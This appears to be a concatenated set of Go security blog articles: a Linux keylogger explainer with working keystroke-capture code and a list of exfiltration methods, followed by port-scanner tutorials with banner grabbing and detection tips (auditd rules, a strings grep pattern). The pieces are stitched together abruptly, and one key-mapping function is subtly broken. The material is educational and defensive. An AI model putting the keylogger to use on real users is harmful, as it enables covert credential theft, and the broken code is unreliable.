Golang Security

Photo by Christina Morillo on Pexels

Keyloggers show up in malware analysis reports regularly. They’re used in credential theft, corporate espionage, banking trojans, and post-exploitation persistence. Understanding what they actually do at the OS level is useful both for analysts reverse engineering samples and for defenders building detection rules.

Go has become a popular choice for malware authors because compiled Go binaries are statically linked, ship with no runtime dependencies, and cross-compile easily — write on Linux, deploy on Windows. This article focuses on the Linux implementation because the mechanism is visible and instructive. The Windows approach (SetWindowsHookEx) is covered in conceptual terms.

What Is a Keylogger

A keylogger is software that captures keystrokes — everything typed on a keyboard — and records or transmits them. In the threat landscape, keyloggers are a credential harvesting tool: usernames, passwords, credit card numbers, private messages. They’re also used in authorized contexts: parental control software, employee monitoring (where legally permitted and disclosed), and forensic evidence collection.

There are three main implementation approaches on Linux:

• /dev/input (kernel level) — reads raw input events directly from the kernel’s input subsystem. Requires root or input group. This is what most system-level keyloggers use.
• X11 API (user level) — uses XQueryKeymap or XRecordExtension to capture keyboard state through the X display server. Doesn’t require root but only works in X11 sessions, not on TTY or Wayland.
• LD_PRELOAD hook — interposes on libc’s read() calls, capturing what applications read from stdin. Targeted and application-specific, not a general keylogger.

The Linux /dev/input Subsystem

$ list input devices

ls -la /dev/input/
# crw-rw---- 1 root input ... event0
# crw-rw---- 1 root input ... event1
# crw-rw---- 1 root input ... event2
# crw-rw---- 1 root input ... mice

# Group 'input' has read access (rw-) — root or input group required

$ find keyboard-specific event devices

cat /proc/bus/input/devices | grep -A5 keyboard

The Handlers line shows event3 — the keyboard device is at /dev/input/event3. This varies by system and attached devices. A keylogger needs to identify the correct event file at runtime.

The input_event Struct

Every keypress generates an input_event struct written to the event file. Defined in linux/input.h:

Event types relevant to keyboard reading:

Type Value	Constant	Meaning
0x00	EV_SYN	Synchronization event — separates event groups
0x01	EV_KEY	Key event — keypress, key release, or repeat
0x02	EV_REL	Relative motion (mouse movement)
0x03	EV_ABS	Absolute position (touchpad, tablet)

Value field for EV_KEY events:

• 0 — key released (key up)
• 1 — key pressed (key down)
• 2 — autorepeat (key held)

A keylogger typically filters for type == EV_KEY and value == 1 (key down) to capture each keystroke once, then maps code to the corresponding character.

Finding the Keyboard Device at Runtime

A keylogger can’t hardcode event3 — the number varies by system. Two approaches for identifying the keyboard event file at runtime:

approach 1 — parse /proc/bus/input/devices

// Pseudocode: parse /proc/bus/input/devices
// Look for lines containing "keyboard" in Name field
// Extract the eventX from Handlers field
// Return the matching /dev/input/eventX path

devices, _ := os.ReadFile("/proc/bus/input/devices")
lines := strings.Split(string(devices), "\n")
var currentHandlers string
for _, line := range lines {
    if strings.HasPrefix(line, "H: Handlers=") {
        currentHandlers = line
    }
    if strings.Contains(strings.ToLower(line), "keyboard") {
        // Extract eventX from currentHandlers
        // ...
    }
}

approach 2 — try all event files

// Open each /dev/input/eventX and check EV_KEY capability
// via ioctl(EVIOCGBIT) — if it reports EV_KEY, it's a keyboard
for i := 0; i < 20; i++ {
    path := fmt.Sprintf("/dev/input/event%d", i)
    f, err := os.Open(path)
    if err != nil { continue }
    // Check capabilities with ioctl
    // ...
}

Reading Events in Go

With the device file identified, the core reading loop is straightforward — open the file, define the struct, read in a loop:

keylogger core loop — Go (educational reference)

package main

import (
    "encoding/binary"
    "fmt"
    "os"
)

// inputEvent mirrors the Linux input_event struct (24 bytes, 64-bit)
type inputEvent struct {
    Sec   uint64 // timeval seconds
    Usec  uint64 // timeval microseconds
    Type  uint16 // event type (EV_KEY = 0x01)
    Code  uint16 // key code
    Value int32  // 0=up, 1=down, 2=repeat
}

const (
    evKey    = 0x01
    keyDown  = 1
)

func main() {
    // NOTE: requires root or input group membership
    f, err := os.Open("/dev/input/event3") // identified via /proc/bus/input/devices
    if err != nil {
        fmt.Fprintf(os.Stderr, "failed to open input device: %v\n", err)
        os.Exit(1)
    }
    defer f.Close()

    var event inputEvent
    for {
        // Read exactly 24 bytes per event
        if err := binary.Read(f, binary.LittleEndian, &event); err != nil {
            break
        }

        // Filter: key events, key-down only
        if event.Type == evKey && event.Value == keyDown {
            char := codeToChar(event.Code, false) // shift state not tracked here
            fmt.Printf("[KEY] code=%d char=%s\n", event.Code, char)
        }
    }
}

Key Code to Character Mapping

Key codes in Linux are defined in linux/input-event-codes.h. Selected mappings:

partial key code map (Go)

func codeToChar(code uint16, shift bool) string {
    keyMap := map[uint16]string{
        2: "1", 3: "2", 4: "3", 5: "4", 6: "5",
        7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
        16: "q", 17: "w", 18: "e", 19: "r", 20: "t",
        21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
        30: "a", 31: "s", 32: "d", 33: "f", 34: "g",
        35: "h", 36: "j", 37: "k", 38: "l",
        44: "z", 45: "x", 46: "c", 47: "v", 48: "b",
        49: "n", 50: "m",
        28: "[ENTER]",
        14: "[BACKSPACE]",
        57: " ",
        // Shift state would select uppercase or symbol variants
    }
    if char, ok := keyMap; ok {
        if shift {
            return strings.ToUpper(char)
        }
        return char
    }
    return fmt.Sprintf("[%d]", code)
}

A production keylogger also tracks modifier key state — left shift (code 42), right shift (54), caps lock (58), ctrl (29), alt (56) — to reconstruct exactly what was typed including password fields, special characters, and keyboard shortcuts.

Where the Data Goes

Keystroke capture is only one half of a keylogger. The other half is exfiltration — getting the captured data out. Common patterns seen in malware samples:

• Local log file — writes to a hidden file in a dot directory (~/.config/.cache/klog.txt, /tmp/.sys.log). Simplest, most detectable via filesystem monitoring.
• Network exfiltration — buffers keystrokes in memory and sends them periodically over TCP/TLS to a C2 server. More sophisticated, detectable via network monitoring.
• DNS tunneling — encodes keystrokes as subdomains in DNS queries. Harder to detect at the network layer; requires DNS-specific monitoring.
• Email — sends captured data as email attachments. Uses SMTP or SMTPS. Detectable via email gateway monitoring.

In Go malware, the exfil component often uses the standard net/http package for HTTP POST to a C2, or net/smtp for email. Static analysis of Go binaries: the presence of these packages alongside os.Open("/dev/input") patterns is a strong indicator.

Detection and Defense

lsof to find unexpected /dev/input readers:

$ check what's reading input devices

sudo lsof /dev/input/event*
# Expected: Xorg, libinput, systemd-logind
# Unexpected: any process that isn't part of the expected input stack

auditd rules for /dev/input access:

$ /etc/audit/rules.d/input-access.rules

-a always,exit -F path=/dev/input -F perm=r -k input_access
-w /dev/input/ -p r -k keylogger_detect

Process tree monitoring: A keylogger running under a web server or as a spawned subprocess is visible in the process tree. pstree and continuous process monitoring (auditd exec tracking, osquery) can alert on unexpected processes with open file descriptors to input devices.

Static binary analysis (for incident response): Go binaries are statically linked and contain all Go package source paths in the binary. Strings analysis on a suspicious Go binary: strings binary | grep -E "(dev/input|EV_KEY|keylog|input_event)". The Go toolchain embeds source file paths, so strings like /home/user/keylogger/main.go or package import paths like keylogger/capture often appear in the binary.

Group membership: The input group controls access to /dev/input files. Review /etc/group to see who has input group membership. Service accounts and non-display-server processes should not be in the input group. Limiting this group membership is a meaningful hardening step.

Frequently Asked Questions

Photo by Josh Sorenson on Pexels

If you built the sequential and semaphore-based port scanner in the previous article, you have a working concurrent tool. What this tutorial adds is architectural perspective: there are two common ways to implement concurrency for this kind of task in Go, each with different trade-offs around extensibility, performance, and debuggability. Understanding both patterns — and when to reach for each — is more useful than just having a working scanner.

We’re also going to cover two topics that most port scanner tutorials skip: context cancellation (how to stop all goroutines cleanly when a user presses Ctrl+C or a timeout fires) and the Go race detector (a built-in tool that finds data races in concurrent code). These are worth understanding before you start writing larger concurrent programs.

Two Concurrency Architectures

At a high level, both architectures solve the same problem — run many TCP connection attempts concurrently without overwhelming the network stack. The difference is in how they manage which goroutines are running:

• Semaphore pattern: Spawn a goroutine per task. Use a buffered channel as a gate — goroutines must acquire a slot before starting, release it when done. Maximum concurrency = channel capacity.
• Worker pool pattern: Spawn a fixed number of goroutines upfront (the “pool”). Push all tasks into a job channel. Workers pull jobs until the channel is closed and empty, then exit.

Both patterns are idiomatic Go. They appear throughout production code and open source tools. The choice between them is more about what comes next in your codebase than about raw performance — though there are differences there too.

Architecture A: Semaphore Pattern

The semaphore implementation is covered in depth in the prerequisite article, but a quick anatomy before the comparison is useful.

package main

import (
	"fmt"
	"net"
	"sort"
	"sync"
	"time"
)

func scanPort(host string, port int, timeout time.Duration) bool {
	conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}

func main() {
	host := "scanme.nmap.org"
	timeout := 3 * time.Second
	concurrency := 100

	var mu sync.Mutex
	var openPorts []int
	sem := make(chan struct{}, concurrency)
	var wg sync.WaitGroup

	for port := 1; port <= 1024; port++ {
		wg.Add(1)
		sem <- struct{}{}
		go func(p int) {
			defer wg.Done()
			defer func() { <-sem }()
			if scanPort(host, p, timeout) {
				mu.Lock()
				openPorts = append(openPorts, p)
				mu.Unlock()
			}
		}(port)
	}

	wg.Wait()
	sort.Ints(openPorts)
	for _, p := range openPorts {
		fmt.Printf("  %d/tcp  OPEN\n", p)
	}
}

Anatomy of the Semaphore Pattern

Main goroutine drives the loop. The main function both dispatches work and waits for completion. It spawns one goroutine per port, but blocks on sem <- struct{}{} when the concurrency limit is reached.

Goroutines manage their own lifecycle. Each goroutine acquires a semaphore slot on entry, releases it on exit. They’re independent — they don’t know about each other.

Shared state via mutex. The openPorts slice is shared across goroutines. The sync.Mutex prevents concurrent writes from causing a data race.

This works correctly and is easy to read. The limitation is extensibility: adding context cancellation, error handling, or more complex coordination requires patching a lot of independent goroutine bodies. The worker pool trades some simplicity for better structure.

Architecture B: Worker Pool Pattern

The worker pool pattern inverts the relationship between goroutines and tasks. Instead of one goroutine per task, you create a fixed pool of goroutines and feed them tasks through a channel.

package main

import (
	"fmt"
	"net"
	"sort"
	"sync"
	"time"
)

type Job struct {
	Host string
	Port int
}

type Result struct {
	Port int
	Open bool
}

// worker processes jobs from the jobs channel until it's closed.
func worker(jobs <-chan Job, results chan<- Result, timeout time.Duration, wg *sync.WaitGroup) {
	defer wg.Done()
	for job := range jobs {
		address := fmt.Sprintf("%s:%d", job.Host, job.Port)
		conn, err := net.DialTimeout("tcp", address, timeout)
		open := err == nil
		if open {
			conn.Close()
		}
		results <- Result{Port: job.Port, Open: open}
	}
}

func main() {
	host := "scanme.nmap.org"
	timeout := 3 * time.Second
	numWorkers := 100
	startPort, endPort := 1, 1024
	total := endPort - startPort + 1

	jobs := make(chan Job, total)
	results := make(chan Result, total)

	// Start the worker pool
	var wg sync.WaitGroup
	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(jobs, results, timeout, &wg)
	}

	// Send all jobs, then close to signal no more work
	for port := startPort; port <= endPort; port++ {
		jobs <- Job{Host: host, Port: port}
	}
	close(jobs)

	// Close results after all workers finish
	go func() {
		wg.Wait()
		close(results)
	}()

	// Collect results
	var openPorts []int
	for r := range results {
		if r.Open {
			openPorts = append(openPorts, r.Port)
		}
	}

	sort.Ints(openPorts)
	fmt.Printf("Open ports on %s:\n", host)
	for _, p := range openPorts {
		fmt.Printf("  %d/tcp  OPEN\n", p)
	}
}

How the Worker Pool Works

Typed structs for jobs and results. Job and Result are explicit types. This is more readable than passing loose primitives through a channel, and makes it straightforward to add fields later — a priority, a timeout override, a protocol selection — without changing function signatures throughout the codebase.

for job := range jobs in each worker. This is the key idiom. A range over a channel blocks waiting for the next value, processes it, then blocks again. When the channel is closed and empty, the range loop exits and the worker goroutine returns. Closing jobs is the signal that no more work is coming — it’s a clean, push-based shutdown.

No mutex needed. Results go into a buffered channel, one per port. Channel sends are goroutine-safe — no mutex required. The semaphore version needed a mutex because multiple goroutines were writing to a shared slice. Here, the channel takes that role.

The coordinator goroutine closes results. wg.Wait() ensures all workers have finished (which means all results have been sent), then close(results) signals the consumer that it can stop reading. The consumer’s for r := range results exits when the channel is closed.

Side-by-Side Comparison

Property	Semaphore Pattern	Worker Pool Pattern
Goroutine count	One per task (up to concurrency limit)	Fixed pool size
Goroutine creation overhead	Higher (new goroutine per task)	Lower (goroutines reused)
Code complexity	Lower (fewer moving parts)	Slightly higher (separate types, channel coordination)
Context cancellation	Requires patching each goroutine body	Naturally fits in worker function
Shared state	Mutex required for shared slice	No mutex needed (results via channel)
Extensibility	Harder to add per-task logic (retry, error, priority)	Job struct is easy to extend
Best for	Simple fan-out tasks, quick scripts	Production tools, extensible pipelines

For a port scanner you’re writing once and running locally, the semaphore version is fine. For a scanner that’s part of a larger toolchain, feeds into a logging system, or needs clean interruption support, the worker pool is the better starting point.

Adding Context Cancellation

Context cancellation lets you stop all in-progress scans cleanly — for example, when a user presses Ctrl+C, or when a timeout fires, or when you’ve found enough results. The worker pool pattern integrates naturally with Go’s context package.

The key change is replacing net.DialTimeout with net.Dialer.DialContext, which accepts a context and respects cancellation:

package main

import (
	"context"
	"fmt"
	"net"
	"os"
	"os/signal"
	"sort"
	"sync"
	"syscall"
	"time"
)

type Job struct {
	Host string
	Port int
}

type Result struct {
	Port int
	Open bool
}

func worker(
	ctx context.Context,
	jobs <-chan Job,
	results chan<- Result,
	timeout time.Duration,
	wg *sync.WaitGroup,
) {
	defer wg.Done()
	dialer := &net.Dialer{}

	for job := range jobs {
		// Check for cancellation before each dial
		select {
		case <-ctx.Done():
			return
		default:
		}

		dialCtx, cancel := context.WithTimeout(ctx, timeout)
		conn, err := dialer.DialContext(dialCtx, "tcp", fmt.Sprintf("%s:%d", job.Host, job.Port))
		cancel() // Always release the timeout context

		open := err == nil
		if open {
			conn.Close()
		}
		results <- Result{Port: job.Port, Open: open}
	}
}

func main() {
	host := "scanme.nmap.org"
	timeout := 3 * time.Second
	numWorkers := 100
	startPort, endPort := 1, 1024
	total := endPort - startPort + 1

	// Root context — cancelled on Ctrl+C or SIGTERM
	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()

	// Signal handling: cancel context on interrupt
	sigs := make(chan os.Signal, 1)
	signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
	go func() {
		<-sigs
		fmt.Println("\nInterrupt received — cancelling scan...")
		cancel()
	}()

	jobs := make(chan Job, total)
	results := make(chan Result, total)

	var wg sync.WaitGroup
	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(ctx, jobs, results, timeout, &wg)
	}

	for port := startPort; port <= endPort; port++ {
		select {
		case jobs <- Job{Host: host, Port: port}:
		case <-ctx.Done():
			break
		}
	}
	close(jobs)

	go func() {
		wg.Wait()
		close(results)
	}()

	var openPorts []int
	for r := range results {
		if r.Open {
			openPorts = append(openPorts, r.Port)
		}
	}

	sort.Ints(openPorts)
	fmt.Printf("Open ports on %s:\n", host)
	for _, p := range openPorts {
		fmt.Printf("  %d/tcp  OPEN\n", p)
	}
}

What Changed

context.WithCancel at the top. Creates a root context and its cancellation function. Calling cancel() closes the context’s Done() channel, which all downstream code watches.

Signal handling goroutine. signal.Notify routes Ctrl+C (SIGINT) and SIGTERM into a channel. When the signal arrives, the goroutine calls cancel(). Every worker goroutine will exit when it next checks ctx.Done().

select check before each dial. Before starting a new connection, workers check whether the context has been cancelled. If it has, they return immediately rather than starting unnecessary work. This is what “cooperative cancellation” means in Go — code checks for cancellation at natural points rather than being forcibly killed.

context.WithTimeout per-dial. context.WithTimeout(ctx, timeout) creates a child context that is cancelled either when timeout expires or when the parent ctx is cancelled — whichever comes first. The cancel returned by WithTimeout must always be called to release resources, hence the immediate defer cancel() after the dial.

The Race Detector (go run -race)

Go ships with a built-in data race detector. It instruments your binary at build time to track all memory accesses and detect cases where two goroutines access the same memory location concurrently, with at least one writing, without synchronization.

Run the semaphore scanner without the mutex to see a race in action:

// Remove mu.Lock() / mu.Unlock() from the semaphore version
// Then run:
go run -race scanner_semaphore.go

You’ll see output like this:

The race detector tells you exactly which line the race is on, and which goroutines are involved. This is invaluable for debugging concurrent code — especially when races only manifest under specific timing conditions that make them hard to reproduce with testing alone.

Run it on both the correct semaphore version (with the mutex) and the worker pool version to verify no races exist:

go run -race scanner_workerpool.go

No race report means the synchronization is correct. The -race flag is worth running periodically during development — it adds a performance overhead (typical 5–20x slower), so it’s not for production binaries, but it’s worth using during any development phase involving concurrency.

Goroutine Leaks — What They Are and How to Avoid Them

A goroutine leak is a goroutine that’s started but never terminates. In a long-running program, leaking goroutines gradually exhaust memory. In a port scanner, leaks are usually caused by one of two things:

A full results channel. If the results channel is buffered but workers generate more results than the buffer can hold before the consumer starts reading, worker goroutines block on results <-. If the consumer never starts (maybe it’s waiting for all workers to finish in the wrong order), you have a deadlock.

The fix: ensure the results channel is large enough to hold all results without blocking, or start the consumer goroutine before feeding jobs. In the worker pool implementation, the results buffer is sized to total — the maximum number of results possible — which prevents this scenario.

A context that’s never cancelled. If workers check ctx.Done() but the context is never cancelled and no more jobs arrive, workers waiting on range jobs will exit cleanly when the channel is closed. This is fine — but if close(jobs) is never called (maybe because a panic interrupted the job-feeding loop), workers block forever.

The fix: use defer close(jobs) immediately after creating the jobs channel, and ensure the job-feeding loop always terminates. With context cancellation, the job-feeding loop exits via case <-ctx.Done(): break, and then close(jobs) runs.

Frequently Asked Questions

What to Build Next

The concurrent port scanner covers the core patterns. Natural extensions from here:

• CIDR range input: Parse 192.168.1.0/24 as a target, scan all hosts in range — adds a host enumeration layer above the port scanning loop
• Rate limiting: Use time.Tick or golang.org/x/time/rate to cap connections per second, useful for staying below IDS thresholds during authorized tests
• JSON output: Extend the Result struct and use encoding/json to produce structured output for integration with logging or SIEM systems
• UDP scanning: A fundamentally different approach — UDP doesn’t complete handshakes, so absence of a response doesn’t mean the port is closed

Photo by Stanislav Kondratiev on Pexels

For my developers out there — here’s one of those projects that teaches you more about Go concurrency than most tutorials do, and produces something actually useful at the end of it. A port scanner is simple enough to understand completely and complex enough that building it correctly requires you to work with goroutines, channels, WaitGroups, mutexes, and CLI flag parsing — essentially a tour of Go’s concurrency model in one project.

It’s also a fundamental tool in network security. Understanding how port scanners work is useful whether you’re building one, defending against one, or just trying to understand how tools like Nmap operate under the hood. We’ll cover all three.

What Port Scanning Actually Is

Think of a server like a building with 65,535 doors. Each door is a port. Some doors are open — there’s a service behind them that will accept connections. Some doors are closed — nothing is listening. And some doors have a guard in front that says “go away.”

A port scanner knocks on every door and notes which ones open.

To give some context: network ports are numbered 0–65535. Well-known services use specific ports by convention — HTTP is typically port 80, HTTPS is 443, SSH is 22, FTP is 21. When a port scanner finds port 22 open on a host, it’s telling you “there’s likely an SSH server running here.” When it finds an unexpected port open, that’s worth investigating.

There are two main types of port scans:

• TCP Connect Scan: Completes the full TCP handshake (SYN → SYN-ACK → ACK). This is what we’ll build — it’s the most reliable and doesn’t require elevated privileges.
• SYN Scan (half-open): Sends a SYN packet and waits for SYN-ACK, then sends RST without completing the handshake. Requires raw socket access (root/admin). This is what Nmap’s default scan does.

Our implementation uses TCP connect scanning — complete connections, using Go’s standard net package. No root required.

Why Go Is the Right Tool for This

The core challenge in port scanning is that most ports on most hosts are closed or filtered. You’re going to attempt thousands of connections that will fail — the question is how fast you can fail at all of them.

In a sequential scanner, this is a serious problem. If your timeout is 3 seconds per port and you’re scanning 1,024 ports, the worst case is 3,072 seconds — about 51 minutes. For 65,535 ports, that’s over 54 hours. That’s not a scanner, that’s a geological timescale.

Concurrency is the solution, and Go makes concurrency unusually approachable:

• Goroutines: Lightweight concurrent functions. You can spin up thousands of them — they’re not OS threads, so the overhead is minimal.
• Channels: The safe, idiomatic way for goroutines to communicate. We’ll use a buffered channel as a semaphore to limit concurrent connections, and another channel to collect results.
• sync.WaitGroup: Coordinates when all goroutines have finished before the program exits.
• net.DialTimeout: Makes TCP connections with a timeout, all in the standard library.
• No dependencies: Everything we need is in Go’s standard library. The final binary runs anywhere without runtime dependencies.

Prerequisites

To follow this tutorial, you’ll need:

• Go installed (1.20+ recommended — see go.dev/dl)
• Basic familiarity with Go syntax — functions, loops, if statements
• Understanding of what goroutines and channels are at a conceptual level helps, but isn’t required — we’ll cover them as we use them

To verify your Go installation:

go version

We’ll use scanme.nmap.org for all examples — it’s a host maintained by the Nmap project specifically for testing port scanners and network tools. It’s the legal, correct target for this kind of development and testing.

New to Go entirely? Our Golang build and run tutorial covers the basics this guide assumes.

Stage 1: Basic Sequential Port Scanner

Before adding concurrency, understand what you’re making concurrent. The sequential version is short enough to fit on a single screen and demonstrates the core mechanism clearly.

package main

import (
	"fmt"
	"net"
	"time"
)

func scanPort(host string, port int) bool {
	address := fmt.Sprintf("%s:%d", host, port)
	conn, err := net.DialTimeout("tcp", address, 3*time.Second)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}

func main() {
	host := "scanme.nmap.org" // Legal test target

	fmt.Printf("Scanning %s — ports 1-1024...\n", host)
	for port := 1; port <= 1024; port++ {
		if scanPort(host, port) {
			fmt.Printf("Port %d/tcp  OPEN\n", port)
		}
	}
	fmt.Println("Done.")
}

How This Works

The key function is scanPort. Let’s trace through it:

fmt.Sprintf("%s:%d", host, port) builds the address string in the format Go’s net package expects — hostname:port, like scanme.nmap.org:80.

net.DialTimeout("tcp", address, 3*time.Second) attempts to establish a TCP connection to that address, with a 3-second timeout. If the port is open and a service is listening, the TCP three-way handshake completes and a net.Conn is returned. If the port is closed or filtered, an error is returned.

On success, conn.Close() cleanly terminates the connection. This is important — leaving connections open can cause resource exhaustion and may look worse from a detection standpoint.

The main loop runs through ports 1–1024 sequentially, printing any that return true.

The Speed Problem

Run this and check how long it takes. On a host with a few filtered ports, you’re waiting up to 3 seconds per unresponsive port. 1,024 ports at 3 seconds each = up to 51 minutes if everything is filtered. For a real scan, that’s not workable.

That’s what Stage 2 fixes.

Stage 2: Concurrent Port Scanner with Goroutines

The concurrent version runs multiple port scans simultaneously. Instead of waiting for port 1 to time out before trying port 2, we launch goroutines for many ports at once — limited by a semaphore to avoid overwhelming the network stack or triggering rate limiting on the target.

package main

import (
	"fmt"
	"net"
	"sort"
	"sync"
	"time"
)

func scanPort(host string, port int, timeout time.Duration) bool {
	address := fmt.Sprintf("%s:%d", host, port)
	conn, err := net.DialTimeout("tcp", address, timeout)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}

func main() {
	host := "scanme.nmap.org"
	timeout := 3 * time.Second
	concurrency := 100

	var mu sync.Mutex
	var openPorts []int

	// Semaphore: buffered channel limits concurrent goroutines
	sem := make(chan struct{}, concurrency)
	var wg sync.WaitGroup

	for port := 1; port <= 1024; port++ {
		wg.Add(1)
		sem <- struct{}{} // Acquire slot (blocks if concurrency limit is reached)
		go func(p int) {
			defer wg.Done()
			defer func() { <-sem }() // Release slot when goroutine finishes

			if scanPort(host, p, timeout) {
				mu.Lock()
				openPorts = append(openPorts, p)
				mu.Unlock()
			}
		}(port)
	}

	wg.Wait()          // Wait for all goroutines to finish
	sort.Ints(openPorts) // Sort because goroutines complete out of order

	fmt.Printf("\nOpen ports on %s:\n", host)
	for _, port := range openPorts {
		fmt.Printf("  %d/tcp  OPEN\n", port)
	}
}

Breaking Down the Concurrency Patterns

The Semaphore (Buffered Channel as Rate Limiter)

sem := make(chan struct{}, concurrency) creates a buffered channel with a capacity of 100. Each slot in the channel represents permission to run a goroutine.

Before launching each goroutine, we send an empty struct into the channel: sem <- struct{}{}. If the channel is full (100 goroutines already running), this line blocks — the main goroutine pauses until a slot opens. When a goroutine finishes, it releases its slot: <-sem. This creates a pool of exactly concurrency active goroutines at any moment.

This is the Go semaphore pattern. You’ll see it in almost every concurrent Go network tool.

sync.WaitGroup — Knowing When Everyone Is Done

wg.Add(1) increments a counter before each goroutine. wg.Done() (deferred inside each goroutine) decrements it when the goroutine finishes. wg.Wait() blocks the main goroutine until the counter reaches zero — meaning all launched goroutines have completed.

Without wg.Wait(), the program would exit before the goroutines finish, and you’d see incomplete results.

sync.Mutex — Protecting Shared State

Multiple goroutines appending to the same slice concurrently is a data race. mu.Lock() ensures only one goroutine can append at a time. The mutex is unlocked with mu.Unlock() (not deferred here since the lock scope is minimal).

Goroutines complete in unpredictable order, so we sort.Ints(openPorts) before printing — giving clean, ordered output regardless of which goroutine finished first.

Stage 3: Full CLI Tool with Flags and Banner Grabbing

Stage 2 is functional, but hard-coded. Stage 3 turns it into a usable CLI tool with configurable flags, port range selection, concurrency control, and optional banner grabbing.

package main

import (
	"flag"
	"fmt"
	"net"
	"os"
	"sort"
	"sync"
	"time"
)

type Result struct {
	Port   int
	Banner string
}

// grabBanner reads the service banner on an established connection.
// Returns the first line, truncated to 80 characters.
func grabBanner(conn net.Conn, timeout time.Duration) string {
	conn.SetDeadline(time.Now().Add(timeout))
	buf := make([]byte, 1024)
	n, err := conn.Read(buf)
	if err != nil || n == 0 {
		return ""
	}
	banner := string(buf[:n])
	for i, c := range banner {
		if c == '\n' || c == '\r' {
			banner = banner[:i]
			break
		}
	}
	if len(banner) > 80 {
		banner = banner[:80] + "..."
	}
	return banner
}

func scanPort(host string, port int, timeout time.Duration, withBanner bool) (bool, string) {
	address := fmt.Sprintf("%s:%d", host, port)
	conn, err := net.DialTimeout("tcp", address, timeout)
	if err != nil {
		return false, ""
	}
	defer conn.Close()

	if withBanner {
		return true, grabBanner(conn, 2*time.Second)
	}
	return true, ""
}

func main() {
	host := flag.String("host", "", "Target host to scan (required)")
	startPort := flag.Int("start", 1, "Starting port number (default: 1)")
	endPort := flag.Int("end", 1024, "Ending port number (default: 1024)")
	concurrency := flag.Int("c", 100, "Number of concurrent goroutines (default: 100)")
	timeoutSec := flag.Int("t", 3, "Connection timeout in seconds (default: 3)")
	banner := flag.Bool("banner", false, "Grab service banners from open ports")
	flag.Parse()

	if *host == "" {
		fmt.Fprintln(os.Stderr, "Error: -host flag is required")
		fmt.Fprintln(os.Stderr, "Usage: scanner -host scanme.nmap.org [-start 1] [-end 1024] [-c 100] [-t 3] [-banner]")
		os.Exit(1)
	}

	if *startPort < 1 || *endPort > 65535 || *startPort > *endPort {
		fmt.Fprintln(os.Stderr, "Error: port range must be between 1 and 65535")
		os.Exit(1)
	}

	timeout := time.Duration(*timeoutSec) * time.Second
	total := *endPort - *startPort + 1

	fmt.Printf("Scanning %s (ports %d-%d) | concurrency: %d | timeout: %ds\n",
		*host, *startPort, *endPort, *concurrency, *timeoutSec)

	results := make(chan Result, total)
	sem := make(chan struct{}, *concurrency)
	var wg sync.WaitGroup

	for port := *startPort; port <= *endPort; port++ {
		wg.Add(1)
		sem <- struct{}{}
		go func(p int) {
			defer wg.Done()
			defer func() { <-sem }()

			open, b := scanPort(*host, p, timeout, *banner)
			if open {
				results <- Result{Port: p, Banner: b}
			}
		}(port)
	}

	// Close results channel after all goroutines finish
	go func() {
		wg.Wait()
		close(results)
	}()

	// Collect all results (ranging blocks until channel is closed)
	var open []Result
	for r := range results {
		open = append(open, r)
	}

	sort.Slice(open, func(i, j int) bool {
		return open[i].Port < open[j].Port
	})

	fmt.Printf("\n%d open port(s) on %s:\n", len(open), *host)
	for _, r := range open {
		line := fmt.Sprintf("  %-6d/tcp  OPEN", r.Port)
		if r.Banner != "" {
			line += "   " + r.Banner
		}
		fmt.Println(line)
	}
}

Running the CLI Tool

Basic scan (ports 1–1024 on the Nmap test host):

./scanner -host scanme.nmap.org

Scan the full port range with banner grabbing:

./scanner -host scanme.nmap.org -start 1 -end 65535 -c 200 -banner

Quick scan with higher concurrency and shorter timeout (faster, less reliable on high-latency targets):

./scanner -host scanme.nmap.org -c 500 -t 1

Expected Output

What Changed in Stage 3

Results channel: Instead of locking a mutex to append to a slice, we send results to a buffered results channel from goroutines. This is more idiomatic Go — channels for communication, not mutexes where you can avoid them.

Channel closing pattern: A separate goroutine waits for wg.Wait() (all workers done) then close(results). The main goroutine uses for r := range results which processes all results and blocks until the channel is closed. This is the correct pattern for draining a channel from multiple producers into a single consumer.

Input validation: Empty host and invalid port ranges exit with an error message rather than panicking or producing nonsense output.

%-6d in the format string: Left-pads the port number to 6 characters for aligned output. A minor detail that makes the results readable at a glance.

How Defenders Use Port Scanning

Port scanning isn’t an attacker-only tool. Network defenders use it constantly — and should.

The reason is simple: if you don’t know which ports are open on your own infrastructure, attackers do. Periodic internal port scans are generally considered part of a mature vulnerability management program. What’s running? What’s exposed? What changed since last month?

Some patterns worth understanding from a defensive perspective:

Unexpected open ports are a signal. If port 4444 is suddenly open on an internal host, that’s worth investigating — it’s a common default for reverse shells. If port 8080 appeared on a server that should only be running SSH, something changed. Port scanning your own network regularly builds a baseline; deviations from that baseline are detectable anomalies.

Service fingerprinting matters defensively. The banner grabbing we implemented in Stage 3 is how you identify outdated or misconfigured services. An SSH banner advertising OpenSSH_6.6.1p1 tells you the host is running a version from 2014 — that’s a patch conversation worth having.

Detection signatures exist. Sequential port scans, rapid-fire connection attempts, and incomplete TCP handshakes are all patterns that intrusion detection systems look for. Understanding this informs defensive tuning — what a legitimate scanner from your own team looks like versus a threat actor performing reconnaissance.

Frequently Asked Questions

What This Project Actually Teaches

The port scanner is one of those projects where the stated goal — scan ports — is almost secondary to what you learn building it. You’ve used goroutines to parallelize I/O-bound work, channels as both semaphores and result queues, WaitGroups for coordination, the channel-close pattern for signaling completion, and CLI flag parsing for a real interface.

Every one of those patterns appears in production Go network code. The port scanner just provides a concrete, understandable context where they all fit together.

For my developers out there — the same concurrency model you used here is what makes Go particularly effective for security tooling. Build on it. The next step is the concurrent port scanner tutorial, which compares the semaphore and worker-pool patterns on top of this same foundation.

Stay vigilant, stay curious, and update your stuff.

The Rise of Go in Security

Walk into any modern red team operation, crack open a C2 (Command & Control) framework, or inspect a cloud security scanning pipeline — you are increasingly likely to find Go. What began as Google’s answer to slow C++ compilation has quietly become one of the most important languages in security tooling.

